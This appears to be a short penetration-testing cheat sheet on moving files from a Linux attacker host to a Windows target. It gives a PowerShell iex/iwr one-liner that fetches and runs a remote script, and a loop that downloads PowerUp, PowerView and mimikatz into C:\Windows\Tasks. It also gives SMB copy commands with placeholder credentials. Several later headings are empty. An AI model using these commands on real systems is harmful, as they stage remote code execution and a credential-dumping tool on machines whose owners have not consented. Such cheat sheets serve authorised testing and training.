File Transfer & Execution

Linux to Windows

Bulk File Transfer

iex(iwr -uri 192.168.1.2/bulk.ps1 -usebasicparsing)
$baseUrl = "http://192.168.1.2/"
$fileNames = @("PowerUp.ps1", "PowerView.ps1", "mimikatz.exe")
$downloadPath = "C:\Windows\Tasks"

foreach ($fileName in $fileNames) {
    $url = $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}

SMB

net use \\192.168.x.y /user:root password

copy test.zip  \\192.168.x.y\visualstudio

Base64

Powershell Basic Download

Powershell Execute Directly

Download and execute a shell in another process

Download Files

Last updated